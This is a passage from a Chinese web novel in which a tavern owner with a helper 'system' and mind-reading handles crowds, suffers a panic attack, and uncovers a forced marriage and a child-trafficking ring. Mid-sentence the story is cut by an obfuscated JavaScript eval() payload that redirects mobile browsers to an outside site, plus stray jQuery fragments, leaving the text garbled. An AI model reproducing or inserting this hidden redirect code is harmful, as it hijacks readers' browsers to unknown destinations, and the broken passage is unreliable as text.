冰块是天亮之前运过来的,酒楼伙计们也是这时候都起来做工,趁着凉爽的时候,把冰块和酒坛子一起放进了新建的冰窖酒库中。
格外炎热的夏日,姜晚的酒楼能喝到冰酒酿,有些客人为了这一口,甚至不惜早早来排队,这酒酿技术是由名师所传,味道以及香味都是顶顶好。
这就导致储存的酒酿不够,便有了限制,起初有人说过闹过,可还是为了那一口妥协了,一人半坛,但依旧消耗的很快。
“小二!怎么刚到我们就没酒了?”
“莫不是故意搞针对?”
另一位客人A,也是不满说道,“我们都来排多少次了?”
“我一次都没喝上!你们还想不想开着酒楼了?”
后面的人也跟着,“是啊!一点都不公平!”
“你们就不能多备点吗?”
“……”
这你一句我一句的攻势中,小二“沦陷”,小二在心里叫苦。
各位爷,有钱能不赚吗?
可真是苦了我了。
这酿酒技术就只能生产这么多酒酿,还有那些酿酒的材料,若是赶工,便会影响口感,这罪他可担不起!他也不可能担得起。
小二正想着开溜去找能说话的人,姜晚这时过来了。
要立立规矩,不然谁都这样,她一天不知道要忙多少这种事情。
“各位客人都稍安勿躁!”
“想必各位客人也知道我家酒酿很受欢迎,从之前的不限,到现在的每人限半坛。”
“我想说的是,各位客人想喝这酒酿,就各凭本事,先到先得。”
“再其次就是,这么好的酒,若加赶酿出来,各位客人也知道是什么样子。”
她说完这句,眼神平静的扫过底下站成一排的人,眼神里没有带上什么东西,只是平静的一个个扫过去。
姜晚洞察到他们内心所想,倒是没什么恶意,只是因为排了许多次都喝不上,或者是只喝过一次,后面却怎么也喝不到,像是在吊人胃口,多了难免让人心烦。
后面的一些客人在听了她这些话后,虽然觉得是有些道理,但还是有些不满,又迟迟不知道说什么,最终只能默默闭口不说。
离门口近的客人直接就抬脚出去了,心里只想着明天早点来。
为了这一口酒酿而来的人,陆陆续续去了大半,剩下的多半是为了在这里吃饭时喝上这酒的,那些人也不恼,反正还有其他的,也不是非要执着于这一种。
都各自找座位坐下,小二去招呼他们点菜,姜晚见事情解决,也继续在楼里巡查。
晟子虚因为伤暑躺在别的房间休息,比他之前睡的那张要好很多倍,绸缎的背面,柔软舒适的床褥子。
促使他在上面滚了一圈又一圈,还发出了一点感慨,最后四仰八叉的又继续大睡。
巡查第三层途中,姜晚被一间房间中的谈论吸引,停下脚步,隔着刚好不被发现的距离,在能听清楚范围的之中。
“今天在石桥那边看见一少女,大约15岁的样子,那小模样长得水灵灵的。”
“而且还行色匆匆的,张兄觉得那少女是做什么?”
那位被称为张兄的人,不假思索回答:“约摸就是给家里人买药,你想是什么?”
那人哈哈一笑,“张兄还真是……”
后面的话,两人没有再继续,姜晚听完这对话,内心情绪更加凌乱,手指不自觉的绞着衣袖。
妹妹会不会遇到什么危险?被人胁迫?她还那样小,真的被人哄骗怎么办?
一想到后面可能妹妹会遭遇的事,姜晚呼吸顿时急促,她强撑着扶着墙走到拐角,心口突然抽痛,她下意识伸手捂住,淡青色的衣襟口顿时皱巴巴。
面上也染上痛苦神色,淡粉的唇瓣也因呼吸不上来而开合产生剧烈喘息,耳朵嗡鸣,视线也有些模糊,额头有汗冒出。
“叮!检测到宿主情绪波动过大,产生过度通气综合症,为宿主立刻紧急实施指导方案!”沉寂许久的明镜系统在姜晚脑中突兀的发出声音。
姜晚却无暇顾及它。
“请宿主慢慢扶着墙坐下,用鼻子吸气,拉长呼气时间。”
明镜系统此刻一团白光,毛茸茸的围着她指挥行动。
“好,现在请宿主跟着系统的节奏慢慢呼气、吸气。”
姜晚跟随着它动作,缩短呼气时间,增加吸气。
约莫小半炷香的时间,她的呼吸平稳下来,心口处也不再抽痛。
“系统,你出现的真及时。”她淡淡开口,有些从容,没有因为刚才差点呼吸不上来一副虚弱样。
明镜系统:“绑定期间,保护宿主生命安全是系统的基本职责。”
姜晚反问它:“那要是被人追杀,那你岂不是会出手杀了那些追杀的人?”
“这个看情况而定,一般系统会选择震晕他们。”系统一板一眼的回答她这个问题。
“……还是要逃跑。”姜晚直接指出。
系统信息分析闪了一下,“鉴于宿主现在没有生命危险,系统即将下线。”
姜晚也没多想什么,扶着墙站起来,缓缓有些被压麻的小腿。
酒楼还没巡查完,得继续。
她刚走没几步,一阵悠扬的琴声从二楼传出来。
几乎不用想,她零秒就猜出了是谁。
季薇在账房安排在二楼一间不常用的房间弹琴,装的比较奢华,因为觉得有些远,几乎没有客人过于选择,所以就成为了她弹奏的地方,房间门口是大开着,但放了一扇长屏风作为遮挡。
一曲完毕,掌声轰鸣,夸赞不绝于耳,有些人直接就打赏了。
“边品酒边听曲,真好不惬意,哈哈哈哈。”
“这店家做的不错!”
“……”
在这声声夸赞中,季薇又起手弹了一曲。
她只弹两个时辰,时辰一到就休息,不做其他。
姜晚继续抬起步伐在各楼层中穿梭,一方面是为了防止消极怠工,照顾好客人,另一方面也是为了防止自己楼里的人被欺负,好第一时间发现。
今日用的时间稍微长些,厢房中有些客人会问弹琴的琴师是谁?
能不能让人单独来弹?价格好商量。
姜晚都是明确言辞拒绝,没有任何一丝商量余地。
酒楼有了季薇的加持,几乎客无虚席,有些琴痴甚至会一直站到季薇离去。
那些人会跟小二打探一下季薇的信息,但是姜晚早有预料,早早就给他们说了,“不允许透露一丝风声,是男是女也不能说,弹琴的时候除了特定的人,谁都不可以靠近。”
酒楼里每个人都紧守嘴巴,不仅是说出去后果有点严重,更重要的是因为很多人都不认识这位新来的琴师,大多都没见过,知道的甚少。
姜晚次日傍晚,饭点过后收暗桩送过来的线索。
【不是画像上的那个女孩,那女孩没有危险,调查玉佩的事情要暂停,派出去的人没有回音,回来之后才能继续行动。】
她目过纸上一行行字,看完第一行那个字,原本期待的心像是被泼了凉水,消失的无影无踪。
之后的话一个字都没看进去,她目光变得没有光彩,被蒙上了一层看不清的情绪。
早就该知道的,不应该抱什么很大的期望,她能清晰听见心脏缓慢跳动的声音,一下一下的刺激着她的神经。
早就该习惯的。
姜晚强迫聚起精神,将情绪压住,看完后面的话,纠结起来了,要不要告诉晟子虚他身世的线索。
经过一番博弈,决定还是等有实质性进展再告诉。
她提笔写下回信。
就这样一连又过了几日,李屠户又要娶新妻子的事情传开。
门厅中,姜晚听着那些人讨论。
客人V:“啧啧啧,这才刚过头七呢,那李屠户又要娶了。”
客人B:“不是说他这死了新娶的媳妇也没留下个种,其他的孩子也……不说了不说了。”
那人止住话头。
另一人却接起来,“这不孝有三,无后为大,李屠夫要是再不赶紧生一个,这后面就别想有儿子了。”
有些人点头赞同,“是啊,无后为大,香火最重要。”
“是啊,有了儿子才能保证传他老李家香火……”
“不知道娶的是哪家姑娘?”
“不知道,没透出风声来,只听说这女子好像是17岁?”
“……”
姜晚听完这些,心里闷闷的,也不好说什么,紧接着在他们谈话中知道了这李屠户哪天娶亲办席。
季薇在酒楼弹琴的这几天,分的打赏也不少,她用木盒子存着,打算再攒一些,给表兄一家买些好东西,她一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623091|204272||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
直记得表兄一家小时候对她的好,会在父亲打母亲时出手阻止,会劝说父亲。
很快就来到李屠户娶亲这天。
姜晚乔装一番从后院走的,打扮的是一身比较朴素的,头上裹的是有些褪色的布巾,用现有的妆容技术改了一下面容,防一下被认出来。
晟子虚打算去冰窖中凉快凉快,去去暑热,他一眼认出是姜晚。
他没有多少犹豫的就追上去,偷偷摸摸的跟在后面,好奇她去哪里?
姜晚没走多久才发现,她好像不知道确切方位,只能找到一个行色匆匆、满脸笑容的婆婆,问询了一番。
发现这位婆婆也是要去李屠户家吃喜酒,“哎,姑娘,你也要去李屠户家吃喜酒吗?你是他谁啊?”
姜晚脑子飞速转动,面不改色开口,“我是新媳妇家的表亲戚,大老远过来的,呃,不熟悉这地方。”
那婆婆点了点头:“这样啊,姑娘和我一起,老婆子我对这里可熟得很。”
姜晚面上堆上笑容,跟在那老婆婆身后。
很轻易的就进入了李屠户家摆席的院子,人来的很多,能看见得见的地方都挂上了红绸,一副喜气洋洋的样子。
晟子虚也跟在人身后进去了,他抬头四处寻找,但为了不被发现他悄悄的站在了角落。
印象中,姜晚属于周深比较安静的氛围,不太会来这种热闹的地方,他有一时间怀疑她是不是吃错药了,还是被人夺舍了?
李屠户这时走出来,他原名李牛,嗓音粗犷响彻在众人耳中,“今天是俺李屠户的大喜日子,各位吃好喝好,若有招待不周,请海涵!”
众人只是大笑,有些人端酒去他面前庆贺。
没多久花轿子来了,鞭炮震天响,李屠户上前踢轿子,媒婆把新娘子扶出来。
他将新娘子背到火盆前,新娘子犹豫的跨过那道正燃着火的火盆。
众人立马大声拍掌叫好。
新娘子被簇拥着走在红色的毯子上,跟着李屠户进去拜堂。
“一拜天地!”
“好!真不愧是一对佳人!”
“二拜高堂!”
“夫妻对拜!”媒婆高兴的喊完这一句,难以抑制的兴奋。
两人弯下腰的瞬间,姜晚看到了那个女孩的脸,青涩稚嫩,容貌上佳,她的眼睛红肿还流着泪,脂粉被泪水冲淡。
刹那间,目光相对,读心术发动。
读心术只要与对方视线相交并发动,后面就不需要与之对视。
“好恶心!”
“为什么要把我嫁给这种人渣?”
“爹爹缺钱,就把她卖给了这屠户,可爹爹明明知道这屠户把他娶的妻子都送进了青楼,替他赚钱,把自己的亲生孩子也卖给了拍花子。”
“我的下场也会是一样的,杀了他!”
“我要杀了他!”
媒婆此时又大声喊:“礼成,送入洞房!”
新娘被送走,她的读心术还有一个限制,发动读心术后只要远离了视线范围,读心术就断了,比时效还没到3分钟更挠人心。
新人都去了洞房。
其他的宾客自然是回到桌上吃席,姜晚见时机差不多了,装作自然吃完席离席的客人。
晟子虚看见她离开,又把手里的席吃了几口,忍痛放下,追出去。
他很纳闷,这人为啥进去了又不吃席?莫不是早就发现他了,给他当狗遛?
可不应该啊,她从一出门都没往后面看,不会眼睛真长背后了吧?
姜晚趁着他低头思索的瞬间,回头看了一眼,一眼便发现了低头的晟子虚。
从后门到去李屠户家,再到返回,能明显感觉到一道视线一直在她身上黏着,且很熟悉,她心中第一个想到的就是晟子虚。
所幸没有出什么意外状况,她也懒得去管什么,没有影响她实施计划就好。
那道视线直到她离开后院才彻底隔绝。
晚上,戌时。
按以往,探子和暗桩的信都应该在这时间就不会再来,但她却收到了暗桩的信,上面不再是以往那种工整的字体,这纸条上面的字有些潦草,但还能看得清。
【利用别人孩子来拐孩子的幕后黑手,带着孩子在城南乞丐堆出现,已派人暗中盯住。】
姜晚记得距离到现在才过了5日多一点,这些人就如此迫不及待了。